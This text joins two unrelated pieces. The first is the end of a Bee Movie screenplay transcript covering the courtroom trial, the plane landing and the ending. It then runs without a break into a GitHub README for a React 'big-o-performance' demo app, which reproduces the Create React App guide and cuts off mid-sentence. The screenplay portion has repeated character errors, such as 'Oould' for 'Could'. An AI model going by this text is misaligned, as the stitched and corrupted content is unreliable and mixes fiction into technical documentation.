name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that. Special thanks to SergeiK.
rramatchandran / Big O Performance Java# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly 